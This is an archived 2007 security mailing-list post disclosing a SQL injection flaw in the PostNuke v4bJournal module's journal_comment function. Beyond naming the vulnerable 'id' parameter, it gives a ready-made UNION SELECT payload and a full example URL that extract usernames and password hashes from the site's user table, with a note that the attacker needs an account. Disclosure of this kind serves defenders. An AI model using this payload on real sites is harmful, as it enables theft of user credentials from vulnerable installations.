OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
Post Nuke v4bJournal Module Sql Inject

abbasiustmb.ac.ir
Date: Wed May 02 2007 - 12:59:34 CDT

----------------------------------------

PostNuke Journal

----------------------------------------

                                   

                    DISCOVERED BY :Ali Abbasi
Olom Fonon Mazandaran University - Security Research Center, Babol, Iran
       
   Greetz For All Y! UnderGround Group Members ( www.2600.ir )

    Greetz For All Persian Bugtraq Members ( www.bugtraq.ir )

         Contact: abbasiustmb.ac.ir

                                   {SQL BUG}

in

    index.php?module=v4bJournal&func=journal_comment&id=(SQL)

------------------------------------------

         EXPLIOT BY :ABDUCTER

Greetz For ABDUCTER Real Friend Nanos (Nancy)

Contact: ABDUCTER_MINDSYAHOO.COM

 

   index.php?module=v4bJournal&func=journal_comment&id=-1/**/union/**/select/**/0,pn_uname,pn_pass,3,4,pn_uname,6,7,8,9,10,11,12,13,14/**/from/**/nuke_users/**/where/**/pn_uid=2/*

EX:-

http://www.example.com/index.php?module=v4bJournal&func=journal_comment&id=-1/**/union/**/select/**/0,pn_uname,pn_pass,3,4,pn_uname,6,7,8,9,10,11,12,13,14/**/from/**/nuke_users/**/where/**/pn_uid=2/*

U must regrister first ( You Most Have An Account On Vulnerable Site )

-------------------------------------------